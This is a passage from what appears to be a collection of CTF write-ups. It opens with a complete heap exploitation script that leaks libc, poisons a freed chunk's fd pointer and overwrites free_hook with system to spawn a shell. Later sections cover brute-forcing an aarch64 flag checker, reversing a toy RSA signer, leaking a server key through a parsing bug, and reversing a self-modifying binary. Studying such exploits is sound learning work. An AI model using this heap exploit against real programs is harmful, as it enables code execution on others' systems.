6f18af768eda9004","d329133ebcfedcc025fde1bf438e3d9f","61c5dd9b0ef3e9193a0b76d0605d8325","ca1bd76a428edc0571f6d4d025c0e5f1","e67f49d0be0c1ca3d15b75ad59dc5286","fba5d4915b188ca14ac29ec613899cdb","a299f56e65ddbadddda8b42d2b2358de","dc295a6371c3612cef283a27e116791d","d2d94c386c355e79016d0c34f7964048","eb6a00da275608fcc6e494bf14ed9a42","8003b4a3745233792a8a64f888b05281","1772180f1b6921354b1dfa2a9287260c","88473fd94b8e70ad46024b443e87e2fe","1b943cbe2b15cfe4fd866cd012912bd0","87e828501e6b82215d52da376fd9eb07","c44673531799a2de7b0344db39c4f1ae","feb0de99e0148fb89301457d8d6183dd","c3ae1a82c5fffb46653ade9aef3374cd","332370cce096416a199132f81c552604","d15a6f84d8176e910e145e9c94888dce","8e7178b0f0bbb42ccdcccfaddff5905e","d6e3c4db0a910736229919317e460925","9bdeea65860ab7ff1b7dba1b93446ccc","d1c82eff6118130af4adfb52963c5d1b","11d2601eab00b6462a39c43012846ab2","f177cef6b70774d36191cc2da5f48a76","3c439c9fd851c489d7e1527ede816560","de7d6a7ecd141bc6cba721b237d5fea4","90294a9ce3e7b02fbe2997e8ea378dff","d72e0b774f76bd6a3ddb823968d217c8","3d5ae0ef52e6f12e2378e83dd45c5b8f","9d72ce79bbaf8aef05d0350203b8da06","81be16218ee6c266773294a0d02d294e","addb2903ff8275d2bcd46ff8308b8e6b","645dbaeaa7dc933079a296bb8f66e083","f374e5a0b750056d00b89bb164970801","de10e4eb59b089d87598ce38f3c2fc9e","9d1bc9288c95a4ea889f437e61e79a15","543fc78ee3d8759c6eec584b7266faca","364d6362838a2b0de8e6482b2be88cc5","7d035f1bbc2f87fc1ccb9166d34f9a24","52eaa4aaed9202a8d4eeced5892af249","523d690bdf5e456e87f8c5a02c6ef0ce","8950b6981b82d6dda8aeb8d58adc9ada","0c5b179b055218ca10675b595b8d25aa","59c8e341cd9f3ebbd53182796506b442","fb04215e976e21486539fca63a559b64","a81861b0313a41d3084fd59da58b6ddf","2578adf8096e9054d7b248b8a8f361cf","33bd9ed361d6132fa027a613d8520bfc","c50bfa8726fd0c941fa49b5c99d2ea0d","154ca97762c31f6dce7aab2fd2dd4464","1c9a10afedd053493cd769d6d285506e","a3c47ecf4e1641a8db7bccb8e94e59c1","0129385b79426e13e24b750fb251b914","7e2daf44701c1356daf09c3fda75043b","e5846a457cc491683b53104df2021bf5","f8df3f2920d49cb3b86c3cb5cca04712","8f6362a7798ac335e5a725093abd06cc","e20d227b4ce6fcc76b8f0c76f6684bea","d7e3a97da001f59263643eb17d017cc8","be8a8dd440b697fac03061912c4021a8","22b001b903ba17c611ba4ed52477ca6b","db89bfdce129d88cf9e0cb7d9fc5c46f","e7769723f8fdbe76e2e1c48d7cddec5e","da3cf19ff1f5ca7fca088ab389b5cff0","0c2887a59682f19aab3012494db3484c","4edd35d8cde21b9695617b1f94076139","af55970f88c5e52a422aeb4b848a7087","77fa572655440cd82db5d42f9e30ca05","6e7a56bf66a07ac42b9a70df1cdac57b","c8652795213654feef519aedafab549c","0269d4b55b3ca1e8db252acf43db1b25","c8da711c93da6f0bd012a46e02c8a391","e00133726009504cbdb9d1697aaad05a","beebc3290e9050f4c8b405a673bb62d6","a1371bbc45894596125c34d9c8515036","ffc2fd64411bd8dc04496505e626bb29","4fe7b41fe37089cf722145b3ab53fd72","042b93b8286f628b5e8083765c4d4a1f","aa775b01118dd41e733ba2d3f3c4bd30","c3e5d248b0ac1c4f5063c4addfe56be9","ee7048a5e23dadd613a556da013dc9f9","88a8935ed4c82c20b1a0e6a02b94c432","7b24d486674fae9f9d182c134a61c4c0","a6af33e066c780b6710518306e2a8ddd","a00b87e316e14a41c8d7988b332ff954","904319188297d0dfed6533c65a4f20bc","44546db5a37f8666a5f5655965dc158a","afe67c388dd12a4943474784be62bf80","e71b8c06fef88758efbfaf0542c18f32","af35dc9ba30af53ab082be2cd763eb2f","87a6a01ec8948d48e7413e6c815e979e","49b44342c19f4d8c5ac214b82ca18d01","d8d8aea73fa72f2c98e7b3b0b5889b6b","4a442985c50d13c3b233b75c93de4595","8a51916019777fb7008318bb0221c6c8","8e53f8838d46fe4aa7e2a89a52f662db","85bb6f314c12f7d74bd62e03215b9153","f276a64fb37fc07c3eed642888332ccd","3d2619f673af2595277601d548059664","2cdfffa1cce47a0f1c103d98010775c3","15acbc1221bf58d5ad7571a8eb35d773","8a1392816509e0ebc42e5bd50792b6a8","73213ef32093bdd8867cbbf3ff4b5c43","24427f6f2e5e3aea08df2d5d04eb31e3","38a2dee8cae9d297855196b48521a774","e322e8836d30fcede0bc4599460570a0","f14b95c1bdd3cdb1f16cd4b03cae42c6","4e74b4d448035455b6da485e99b47a8b","5a889cd08e4bc55319a65aa9a7a75508","c4670d0417bca5fed0568452d4475f2d","99be610f21f7b712164c24d8732abd76","83376b59ba424dd3fb0456801961e107","668c1d8e62bc292ce1ef5b709ea8994f","ea6c08b34f228e10ad5157cd5b550fbe","73a6b98c64c9547fe077ba4d011dbccc","7a50f50ac2b1343aa74b2fcf26fb7a4b","e81b1e29982f3f8dab744b9de6ed3f07","75835b858eac15248772f39fc53eb34d","250bdeb6439df36461c0dd11629735f9","ef88c3e74d9b0e6b8ae895e16a15ba98","fbf35ddef33e6c567b81c6a77023e8d3","537ea975260d29ad418ef4184878d83d","60fe12c00a765af59fba90a2325dd694","aa9126aaa343a4703dd40521f2a4f919","56cb90f8d1c1cf2185c458b3915eaf77","6a9681d9d671b9e8e2b9279db93b9cc0","1826d982863eb441f0f944fff375d459","8d3c19a937665f89faf84f4d5dca8fc5","df95a4ad9a93d9fcb3c8cde5c21919b9","f8172e59c358e958e80ae6cdfaf98cd0","d1ddbe82b534adc606f2c7880bca473a","c6315d205043074b6e24c99678bb8606","db27f5b7975fc23bfb84c769d7da12f5","1ae3ecadf02d6c1ba26b15f92bad611d","8d887a9262277858be3c2cee9f7fc1df","48270138b22931afc183a62e1d77061f","a348d1e3cb8fc29f45650d8e6727d5b5"]
def leak_byte(ptr):
p.sendlineafter('factory\n', 'v')
p.sendlineafter('!', hex(ptr))
donut = p.recvuntil('We')
final_donut = donut.split(b'\x1B')[-1]
to_hash = final_donut[:-2] + b"Do"
hashed = hashlib.md5(to_hash).hexdigest()
return hashes.index(hashed)
def leakqword(ptr):
value = ''
for i in range(8):
tmp = leak_byte(ptr+i)
value += chr(tmp)
return value
Once I had the heap (was given by the program) and libc leak, I was ready to craft a fake chunk inside a big chunk, free it, corupt it's fd
pointer, and then obtain a chunk over free_hook
.
After that, upon freeing a chunk with "/bin/sh"
a shell was triggered.
Exploit:
if __name__ == "__main__":
################################## EXPLOIT
xx = create(1, 0x30, '/bin/sh\x00\x0a') # chunk used to trigger shell
d1 = create(1, 0x800, 'A'*10+'\x0a') # use to leak heap and libc
heap_base = int(d1,16)-0x16c0
print 'HEAP >>',hex(heap_base)
d2 = create(1, 20, 'A'*10+'\x0a') # avoid consolidation
print 'DESTROYING >>',d1
destroy(int(d1,16))
leak = leakqword(int(d1,16)) # leaking libc
leak = hex(u64(leak))
libc_base = int(leak,16)-0x1ebbe0
print 'LIBC >>',hex(libc_base)
d1 = create(1, 0x800, 'A'*10+'\x0a') # remove big chunk from unsorted
craftx = create(1, 0x68-2, 'ffff\n') # tmp chunk
craft1 = create(1, 0x200-2, '\x00'*7 + p64(0)*2 + p64(0x70) + '\n') # allocate chunk to hold fake chunk
print 'CRAFT >>', craft1
destroy(int(craftx,16)) # free tmp chunk
destroy(int(craft1,16)+0x20) # free fake chunk
destroy(int(craft1,16)) # free big chunk
craft = create(1, 0x200-2, 'X'*7 + p64(0)*2 +p64(0x70) + p64(int(libc_base)+0x1eeb28-8)*3 + '\n') # reallocate big chunk and corrupt fake chunk's fd
create(1, 0x68-2, 'Y'*0x18 + '\n')
create(1, 0x68-2, 'Z'*7 + p64(int(libc_base)+0x0000000000055410) + '\n') # get chunk over free_hook and overwrite with system
destroy(int(xx,16)+1) # trigger shell
p.interactive()
- flag:
ptm{N0w_th1s_1s_th3_r34l_s3rv3r!}
Automatic Rejection Machine (19 solves, 217 points)
by JaGoTu
I'm sorry, your flag is rejected.
Author: mr96
We get a challenge
file:
$ file challenge
challenge: ELF 64-bit LSB shared object, ARM aarch64, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux-aarch64.so.1, BuildID[sha1]=855fc043635ad0ec0182bdd24b6a38624a704401, for GNU/Linux 3.7.0, stripped
Now is as good time as any to remind ourselves how to run foreign architecture binaries using qemu-user
. There are quite a few references online for statically built binaries, but I spent a few minutes staring at aarch64-binfmt-P: could not open '/lib/ld-linux-aarch64.so.1': No such file or directory
(I'm partly writing this down for my own future reference 🙃):
sudo apt install qemu-user qemu-user-static gcc-aarch64-linux-gnu binutils-aarch64-linux-gnu binutils-aarch64-linux-gnu-dbg build-essential gdb-multiarch
sudo dpkg --add-architecture arm64
sudo apt update
sudo apt install libc6:arm64
After doing all this magic we can run the binary on our x64 linux:
$ ./rejection
Automatic Rejection Machine v1.0
Please give me a flag: test
Sorry, your flag is rejected.
And even debug it using gdb-multiarch
(I'm using pwndbg):
$ qemu-aarc64-static -g 1234 rejection
$ gdb-multiarch rejection
pwndbg: loaded 193 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from rejection...
(No debugging symbols found in rejection)
pwndbg> set architecture aarch64
The target architecture is set to "aarch64".
pwndbg> target remote localhost:1234
Remote debugging using localhost:1234
warning: remote target does not support file transfer, attempting to access files from local filesystem.
Reading symbols from /lib/ld-linux-aarch64.so.1...
(No debugging symbols found in /lib/ld-linux-aarch64.so.1)
0x0000005501815140 in ?? () from /lib/ld-linux-aarch64.so.1
Reverse engineering the binary starting with main()
: it inits two arrays, which I called key
and outersalt
.
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 outersalt[2]; // [xsp+18h] [xbp+18h] BYREF
_QWORD key[4]; // [xsp+28h] [xbp+28h] BYREF
outersalt[0] = 0x9E3779B917181920LL;
outersalt[1] = 0x9E3779B912881288LL;
key[0] = 0xDEADBEEFFEEDBEEFLL;
key[1] = 0x1BADB002FACECAFELL;
key[2] = 0xFEEDFACE08920892LL;
key[3] = 0xCAFEFEED12401240LL;
verify_flag(key, outersalt);
return 0;
}
verify_flag()
inits an array of target values, asks for a flag, shuffles the bytes around a bit for added reversing fun, and then generates an array of hashes. If the generated hashes are identical to the target values, it gives a nice smiley face and we should have the flag.
void __fastcall verify_flag(_QWORD *key, _QWORD *outersalt)
{
char v4; // [xsp+2Fh] [xbp-1091h]
int i; // [xsp+30h] [xbp-1090h]
unsigned int flaglen; // [xsp+34h] [xbp-108Ch]
_QWORD output[256]; // [xsp+38h] [xbp-1088h] BYREF
_QWORD target[256]; // [xsp+838h] [xbp-888h] BYREF
unsigned __int8 flag[128]; // [xsp+1038h] [xbp-88h] BYREF
memset(target, 0, sizeof(target));
target[0] = 0xB4D8846071AC9EE5LL;
target[1] = 0x1E1FF00814E134FELL;
target[2] = 0x6B198E7941B7002ELL;
target[3] = 0xBC6FA839EFE36443LL;
/* [...] shortened */
target[58] = 0x239DCF030B3CE09BLL;
target[59] = 0x24556A34B61CA998LL;
puts("Automatic Rejection Machine v1.0");
printf("Please give me a flag: ");
__isoc99_fscanf(stdin, "%s", flag);
shuffle_bytes((char *)flag);
flaglen = strlen((const char *)flag);
flag[flaglen] = flag[0];
flag[flaglen + 1] = flag[1];
generate_hashes(flag, flaglen, key, outersalt, output);
v4 = 1;
for ( i = 0; i < (int)(2 * flaglen); ++i )
{
if ( output[i] != target[i] )
v4 = 0;
}
if ( v4 )
puts("Yay! You can submit your flag :)");
else
puts("Sorry, your flag is rejected.");
}
Also we can see that for each character of the flag it generates 2 hash values, as the comparison is done for i
from 0
to 2 * flaglen
.
Let's take a look at generate_hashes()
:
void __fastcall generate_hashes(unsigned __int8 *flag, unsigned int flaglen, _QWORD *key, _QWORD *outersalt, _QWORD *output)
{
signed int curr_offset; // [xsp+48h] [xbp+48h]
int v11; // [xsp+4Ch] [xbp+4Ch]
curr_offset = 0;
v11 = 0;
while ( curr_offset < flaglen )
{
*outersalt = (flag[curr_offset + 2] << 16) | (flag[curr_offset + 1] << 8) | flag[curr_offset] | 0xAABBCCDD11000000LL;
do_hash(outersalt, &output[v11], key);
++curr_offset;
v11 += 2;
}
}
It takes 3 characters at a time, ORs them with an inner salt, and then replaces the first element of the outersalt array with it. What this means is we'll always be hashing [0xAABBCCDD11XXYYZZ, 0x9E3779B912881288]
where XXYYZZ
are the next 3 characters.
The final piece of the puzzle is do_hash()
:
void __fastcall do_hash(_QWORD *input, _QWORD *output, _QWORD *key1)
{
unsigned __int64 v3; // x0
__int64 inp0; // [xsp+38h] [xbp+38h]
__int64 inp1; // [xsp+40h] [xbp+40h]
unsigned __int64 i; // [xsp+48h] [xbp+48h]
__int64 round_key; // [xsp+50h] [xbp+50h]
__int64 cipher_state[4]; // [xsp+58h] [xbp+58h]
inp0 = *input;
inp1 = input[1];
cipher_state[0] = *key1;
cipher_state[1] = key1[1];
cipher_state[2] = key1[2];
cipher_state[3] = key1[3];
for ( i = 0LL; i <= 0xF; ++i )
{
v3 = i & 3;
cipher_state[v3] = cipher_state[0]
+ cipher_state[1]
+ ((cipher_state[2] + cipher_state[3]) ^ (cipher_state[0] << SLOBYTE(cipher_state[2])));
round_key = cipher_state[v3];
inp0 += ((round_key + inp1) << 9) ^ (round_key - inp1) ^ ((round_key + inp1) >> 14);
inp1 += ((round_key + inp0) << 9) ^ (round_key - inp0) ^ ((round_key + inp0) >> 14);
}
*output = inp0;
output[1] = inp1;
}
Now one observation to make is that the hashing used has no feedbacking - between hashings, no information from the previous hashing is kept, therefore each hashing can be considered completely separately.
I first reimplemented the hashing function 1:1 in python, but while debugging some other issues I had in my code (more on that later), I noticed that the big key is just used to generate 0xF round keys which are then crossingly added/subtracted from the inputs, so I just calculated them once and used them without the addition-xor shenanigans:
round_keys = [3219635032107427007, 6218263913405319823, 10442084089971362336, 269167876992306094, 15170038263011673372, 13552892002036573561, 2440776016958275683, 12200225424595105446, 9413572991142977950, 7501180621166657056, 1449469240296740551, 15523165193068945963, 11895360271610058672, 8006228610147169986, 8511276599127682916, 15596717701864595457]
def get_to_add(round_key, val):
sumed = (round_key + val) & 0xFFFFFFFFFFFFFFFF
difed = (round_key - val) & 0xFFFFFFFFFFFFFFFF
return ((sumed << 9) ^ (difed) ^ (sumed >> 14)) & 0xFFFFFFFFFFFFFFFF
def do_hash(inp):
inp0 = inp[0]
inp1 = inp[1]
for i in range(16):
round_key = round_keys[i]
inp0 += get_to_add(round_key, inp1)
inp0 &= 0xFFFFFFFFFFFFFFFF
inp1 += get_to_add(round_key, inp0)
inp1 &= 0xFFFFFFFFFFFFFFFF
return (inp0, inp1)
def hash_chars(test):
inp = (test[2] << 16) | (test[1] << 8) | test[0] | 0xAABBCCDD11000000
return do_hash((inp, 0x9e3779b912881288))
Beautiful ANDing with 0xFFFFFFFFFFFFFFFF
everywhere, right?
When we have the hashing function implemented, we can bruteforce the first three characters to match the first target value:
alphabet = (string.ascii_letters + string.digits + '_{}').encode()
for attempt in itertools.product(alphabet, repeat=3):
res = hash_chars(attempt)
if(res[0] == targets[0]):
print("found")
print(attempt)
print(list(map(lambda x : hex(x), res)))
$ python3 rejection.py
found
(112, 117, 116)
['0xb4d8846071ac9ee5', '0x1e1ff00814e134fe']
Looking at the second value, it also matches the target. Bingo! (112, 117, 116)
corresponds to put
. For the rest of the targets, the 3-character window moves by 1, so we can only bruteforce one letter at a time for a faster experience. Here is the full bruteforcing script:
import string
import itertools
targets = [0xB4D8846071AC9EE5, 0x1E1FF00814E134FE, 0x6B198E7941B7002E, 0xBC6FA839EFE36443, 0xC3C71AD9A664B6C3, 0x5692A2F09C98D986, 0xF084A1A59CD01E68, 0xBC52E78A7E4DF2DF, 0xDA219D93290B91A8, 0x5703D0286FA5D32F, 0x6274B1B118DA82B2, 0xA746EBFB0954EBBC, 0x5F6DF7BD4F1967A2, 0x16D5B5BDEE98CF8E, 0x52E8B6DF7E62E39A, 0x99F9455FB0C8D933, 0x05FFD82D53AF933D, 0xFF9084A16FF0141C, 0xE17C5F0781D52F9B, 0x1A0F4431548E51D1, 0xF2E8573D8F0F01DD, 0x250039177F4DEF91, 0x8851491ECBC7AF7C, 0xAD427C6695B91D24, 0x5E0071D97D98D094, 0x264DDA52B0C37B03, 0xA5811271D6D7C428, 0xE0133FC719F34136, 0xE508ACE2412B2633, 0x74321A3E9FACE34C, 0xFF5B8A59E8EBF70B, 0x76275A516F88C986, 0x1604D76F74599CC4, 0xF744BCD8F2016F58, 0xA0B6A7A0239E4EA7, 0xF1EFC57F15CB9AB4, 0xB0D1AD4FB4ED946A, 0x81CA31324D48E689, 0xE6A9979C51869F49, 0xA666637EE4BC2457, 0x6475B6AB4884B93C, 0x5C033B1207DA898F, 0xB66DC7E0DEC3443E, 0xE4899C99CFA0235C, 0x3B7FD8D4D0DCAF6B, 0xB1A4690DB34A7A7C, 0x8041D2607129ADAB, 0xA6A1294A99894F1A, 0xDDE37A1C4524B831, 0x3BC8D81DE355B65C, 0x6C61AB15A63AD91E, 0x8FA4E37F4A3C7A39, 0x268B598404E773AF, 0x74F4F040AE13F867, 0x4DF78E91FD682404, 0xABE1FC425A9A671A, 0x1BB06615C8A31DD5, 0x9F56E9AEF2FA5D55, 0x239DCF030B3CE09B, 0x24556A34B61CA998]
round_keys = [3219635032107427007, 6218263913405319823, 10442084089971362336, 269167876992306094, 15170038263011673372, 13552892002036573561, 2440776016958275683, 12200225424595105446, 9413572991142977950, 7501180621166657056, 1449469240296740551, 15523165193068945963, 11895360271610058672, 8006228610147169986, 8511276599127682916, 15596717701864595457]
def get_to_add(round_key, val):
sumed = (round_key + val) & 0xFFFFFFFFFFFFFFFF
difed = (round_key - val) & 0xFFFFFFFFFFFFFFFF
return ((sumed << 9) ^ (difed) ^ (sumed >> 14)) & 0xFFFFFFFFFFFFFFFF
def do_hash(inp):
inp0 = inp[0]
inp1 = inp[1]
for i in range(16):
round_key = round_keys[i]
inp0 += get_to_add(round_key, inp1)
inp0 &= 0xFFFFFFFFFFFFFFFF
inp1 += get_to_add(round_key, inp0)
inp1 &= 0xFFFFFFFFFFFFFFFF
return (inp0, inp1)
def hash_chars(test):
inp = (test[2] << 16) | (test[1] << 8) | test[0] | 0xAABBCCDD11000000
return do_hash((inp, 0x9e3779b912881288))
known = b"put"
i = 2
alphabet = (string.ascii_letters + string.digits + '_{}').encode()
while True:
for attempt in itertools.product(alphabet, repeat=1):
res = hash_chars((known[-2],known[-1]) + attempt)
if(res[0] == targets[i] and res[1] == targets[i+1]):
known += bytes([attempt[0]])
print(known)
i +=2
break
$ python3 rejection.py
b'put0'
b'put05'
b'put05m'
b'put05m{'
b'put05m{l'
b'put05m{l_'
b'put05m{l_c'
b'put05m{l_ch'
b'put05m{l_chm'
b'put05m{l_chmn'
b'put05m{l_chmn3'
b'put05m{l_chmn3u'
b'put05m{l_chmn3u_'
b'put05m{l_chmn3u_m'
b'put05m{l_chmn3u_m5'
b'put05m{l_chmn3u_m50'
b'put05m{l_chmn3u_m50l'
b'put05m{l_chmn3u_m50l5'
b'put05m{l_chmn3u_m50l5c'
b'put05m{l_chmn3u_m50l5ck'
b'put05m{l_chmn3u_m50l5ck_'
b'put05m{l_chmn3u_m50l5ck_5'
b'put05m{l_chmn3u_m50l5ck_5}'
b'put05m{l_chmn3u_m50l5ck_5}y'
b'put05m{l_chmn3u_m50l5ck_5}y7'
b'put05m{l_chmn3u_m50l5ck_5}y71'
b'put05m{l_chmn3u_m50l5ck_5}y71r'
b'put05m{l_chmn3u_m50l5ck_5}y71rp'
b'put05m{l_chmn3u_m50l5ck_5}y71rpu'
Traceback (most recent call last):
File "rejection.py", line 36, in <module>
if(res[0] == targets[i] and res[1] == targets[i+1]):
IndexError: list index out of range
Who needs bounds checks when you can while True
your way to an IndexError
🙃
That doesn't look too flag-ish, but no worries, we still have the shuffle_bytes()
function to reverse. At this point, I didn't feel like reversing the substition array the code uses, so I got the permutation dynamically by feeding in abcdefghijklmnopqrstuvwxyz012345
:
pwndbg> b *0x5500001270
Breakpoint 3 at 0x5500001270
pwndbg> target remote localhost:1234
[...]
pwndbg>
Breakpoint 1, 0x0000005500001270 in ?? ()
pwndbg> x/s $x0+0x38
0x5501812eb8: "albgefdhijkcmwyprqstvxnuo3210z45"
Now we're just another small python script from the flag:
plain = "abcdefghijklmnopqrstuvwxyz012345"
swapped = "albgefdhijkcmwyprqstvxnuo3210z45"
flag = "put05m{l_chmn3u_m50l5ck_5}y71rpu"
result = ''
for c in plain:
result += flag[swapped.index(c)]
print(result)
$ python3 deswap.py
ptm{5m0l_chunk5_5m0l_53cur17y}pu
So we just strip the last two characters and submit the flag!
Mistakes were made
From the moment I downloaded the challenge to flag took me 2 hours and 40 minutes. Most of that time was occupied by 2 simple but critical mistakes I made.
First of all, when rewriting C
calculations to python
, you have to somehow deal with fixed-bits integers - in C
all calculations will inherently be limited to 8/16/32/64 bits while python will let your integers go big. As you've seen, I choose the "easiest" of the solutions to this problem, which could be summed up by this image:
I just "strategically" sprinkle &0xFFFFFFFFFFFFFFFF
at positions where I feel like a cropping is necessary. Turns out my feelings aren't always the best. I introduced a bug by writing this code:
inp0 += ((round_key + inp1) << 9) ^ (round_key - inp1) ^ ((round_key + inp1) >> 14)
inp0 &= 0xFFFFFFFFFFFFFFFF
Spot the mistake? The first member of the xor is fine, it will shift in zeros from the right and will eventually get cropped. The second member of the xor is fine, it will get cropped too. However, in the third member, round_key + inp1
can be (and will be) bigger than 64-bit, but the >> 14
will shift those additional bits (that should be gone already) in! I fixed it by sprinkling more &0xFFFFFFFFFFFFFFFF
as you can see in the final code. I promise I'll try to look into a BitVector library for future CTFs! 😅
The second critical mistake I made was even dumber: in what is an unexplainable bad judgement I used itertools.combinations_with_replacement
to generate the possibilities instead of itertools.product
. I mean, the bruteforce was faster with just combinations, but it came at the cost of never finding the correct input, which is not a good deal.
So, how long did I exactly spend on those mistakes? Here is a timeline in my local timezone:
21:04 challenge downloaded
21:48 uncropped shift introduced
22:20 uncropped shift fixed
22:25 itertools.combinations_with_replacement introduced
23:28 itertools.product used
23:43 flag
babysign (71 solves, 88 points)
by Qyn
It's just a warmup, don't take it too seriously.
Author: mr96
We're given the source code of the signing server. With the fourth option, we can sign the flag + msg
where we control the msg
. The sign function just takes the last 32 bytes of flag + msg
, throws it into sha256 and xors that with the first 32 bytes of flag + msg
. It then uses this input to calculate the RSA signed value, result^d mod N
:
sign = pow(bytes_to_long(sha256(m[1]).digest())^bytes_to_long(m[0]), d, n)
We can simply reverse this by taking this result and do pow(result, e, n)
. This will give us the xored result from before. We simply just need to xor it again with the sha256
of our input, assuming len(flag) <= 32
.
from Crypto.Util.number import bytes_to_long, getStrongPrime, inverse,long_to_bytes
from hashlib import sha256
flagLeng = 24
N = 26520200839907055488316900583204285981096861449535524257579603735444426331226184269474825392935096863722852126610269098774369075650068933756649212271510912207692140738001791464019224867356444767663936263428540368608762519547695352714372772499512068858323845470385756463343301331688657568171139448599032845049772793164181880735755191266201572758136910165497495897432705474435202322032306872202910217339382027879038357022082284577350121565904195113734993556940514887057412280613496527742285807768927998107880174981931453581118627787927035630482255765205043939406988081270187323381301912680105462776748677828089931025201
e = 65537
enc = 0x5a9e5df27d97143f723258817c69f38ac5f95edc959f2e9861736412f3bec772db62c916dec57b5608162cb32f1b82e0900fa8d335cd03a0ee064746985b97ef552fea4aafbf6770fe3420dad0f7710481ad09fcb921682b7ea95b56b1415f48d1623d80fd28276ca63faab5c6eb45696f270a3e29e7a6be474f6fa7ddbaf13b8e75c0be9a3d45149ed3d031a74c3f3c6265c87df0b7bdc3939753093a8dfeefaf4ffac0727c75b1e3d3fc9c0aea187dee8eaf6fe31c79eb3fde9415834ac5abecd41a62b07cb5344e7c628c88123c948dc1b612e9d66eb017a0538a74b22f7afab1dd1d3ef67a9cb8cbd0a8406abce55bee029b10121d5aa5a81e1ca638e2c7
dec = pow(enc,e,N)
m = bytes_to_long(sha256(b"A"*32).digest())
from hashlib import sha256
print(long_to_bytes(dec ^ m))
#ptm{n07_3v3n_4_ch4ll3n63}
This will give us the flag:
ptm{n07_3v3n_4_ch4ll3n63}
Key-Lottery (116 solves, 70 points)
by Qyn
Just guess the correct key an you'll win a flag!
Author: mr96
We're given the source code of the server and we see that we have to guess a random sequence of 32 characters to get the flag.
Guessing the sequence is obviously impossible, but we can see that we maybe able to leak the sequence because of this:
return f"got empty key set: {repr(key_set)}", 400
To get here, we can simply use as input ,,,
, because it will will pass the first check of if keys.startswith(","):
and remote the first ,
, then it will go here: if keys.endswith(","):
, and remove the last ,
, leaving us with just ,
passing if len(keys) == 0:
, since len(keys)=1
. Then the last line: keys = set(keys.split(",")) - {"", }
will split by ,
and remove all empty lines, leaving us with nothing in keys
.
So using ,,,
as input gives us our sequence of random characters, which we then can use to get the flag: ptm{u_guessed_it_alright_mate}
PeTaMorphosis (25 solves, 179 points)
by JaGoTu
Just another rev.
Author: a_sin
We get a chall
file and an out
file:
$ file chall
chall: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=a944a49767163c0ab20ac235146867045414c0d4, for GNU/Linux 3.2.0, stripped
$ file out
out: data
$ xxd out
00000000: bfb0 d0df 1068 feaa 8a5f b602 356a f049 .....h..._..5j.I
00000010: 488c 31d0 d2d8 b094 1eb8 0cbd 5854 15d6 H.1.........XT..
00000020: c80f 98e4 3d10 c0 ....=..
Let's start with static analysis:
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 v3; // rbx
__int64 v4; // rax
int v5; // ebx
__int64 v6; // rax
_BYTE v8[512]; // [rsp-428h] [rbp-430h] BYREF
_QWORD v9[67]; // [rsp-228h] [rbp-230h] BYREF
__int64 v10; // [rsp-10h] [rbp-18h]
v10 = v3;
v9[65] = __readfsqword(0x28u);
std::ifstream::basic_ifstream(v9, "flag.txt", 8LL);
std::ofstream::basic_ofstream(v8, "out.txt", 16LL);
if ( (unsigned __int8)std::ifstream::is_open(v9) != 1 )
{
v4 = std::operator<<<std::char_traits<char>>(&std::cout, "Flag file 'flag.txt' not found");
std::ostream::operator<<(v4, &std::endl<char,std::char_traits<char>>);
v5 = -1;
}
else
{
std::istream::read((std::istream *)v9, flagbuff, 39LL);
std::ifstream::close(v9);
if ( (unsigned int)unprotect_subs() == -1 )
{
v6 = std::operator<<<std::char_traits<char>>(&std::cout, "Something went wrong");
std::ostream::operator<<(v6, &std::endl<char,std::char_traits<char>>);
}
process_with_victs();
reorder_buff(flagbuff, 39);
modify_subs();
process_with_victs();
std::operator<<<std::char_traits<char>>(v8, flagbuff);
std::ofstream::close(v8);
v5 = 0;
}
std::ofstream::~ofstream(v8);
std::ifstream::~ifstream(v9);
return v5;
}
Apart from basic flag reading, the first suspicious sub is the unprotect_subs()
:
int __fastcall unprotect_subs()
{
int v1; // [rsp+Ch] [rbp-24h]
v1 = getpagesize();
if ( mprotect((char *)vict_1 - (unsigned __int64)vict_1 % v1, v1, 7) == -1 )
return -1;
if ( mprotect((char *)vict_2 - (unsigned __int64)vict_2 % v1, v1, 7) == -1 )
return -1;
if ( mprotect((char *)vict_3 - (unsigned __int64)vict_3 % v1, v1, 7) == -1 )
return -1;
return 0;
}
This looks like it's changing the protection of three "victim" procedures to be rwx
instead of rw-
, so we're dealing with a self-modifying binary.
Here's the python version of process_with_vict()
looks like:
for i in range(len(buff)):
mod = i % 3
curr = buff[i]
if mod == 2:
curr = vict_1(curr)
elif mod == 0:
curr = vict_2(curr)
else:
curr = vict_3(curr)
curr = vict_1(curr)
buff[i] = curr
modify_subs()
uses static XOR keys to modify the vict subs to do something else:
void __fastcall modify_subs()
{
unsigned __int8 v0; // [rsp+0h] [rbp-6h]
unsigned __int8 v1; // [rsp+1h] [rbp-5h]
unsigned __int8 v2; // [rsp+2h] [rbp-4h]
unsigned __int8 v3; // [rsp+3h] [rbp-3h]
unsigned __int8 v4; // [rsp+4h] [rbp-2h]
unsigned __int8 v5; // [rsp+5h] [rbp-1h]
v0 = 17;
v1 = 0;
while ( v0 <= 19u )
*((_BYTE *)vict_1 + v0++) ^= mod_1[v1++];
v2 = 17;
v3 = 0;
while ( v2 <= 19u )
*((_BYTE *)vict_2 + v2++) ^= mod_2[v3++];
v4 = 17;
v5 = 0;
while ( v4 <= 19u )
*((_BYTE *)vict_3 + v4++) ^= mod_3[v5++];
}
The reorder_buff()
just does a shuffle of the buffer using a static array.
void __fastcall reorder_buff(char *buff, int len)
{
int i; // [rsp+14h] [rbp-8h]
int j; // [rsp+18h] [rbp-4h]
for ( i = 0; i < len; ++i )
{
tmp_buff[reorder_array[i]] = buff[i];
buff[i] = 0;
}
for ( j = 0; j < len; ++j )
buff[j] = tmp_buff[j];
}
So our plan of attack is to create inverse functions for both the original vict functions and the modified vict functions, and an inverse for the reodering, and then run the output through them in reverse order.
To generate the modified functions I just use a small python script:
with open('peta', 'rb') as f:
data = list(f.read())
mod1 = [0x42, 0x10, 0x98]
mod2 = [0x43, 0, 0x1C]
mod3 = [0, 0x18, 0x22]
for i in range(3):
data[0x17FD+17+i] ^= mod1[i]
for i in range(3):
data[0x1813+17+i] ^= mod2[i]
for i in range(3):
data[0x1829+17+i] ^= mod3[i]
with open('peta_mod', 'wb') as f:
f.write(bytes(data))
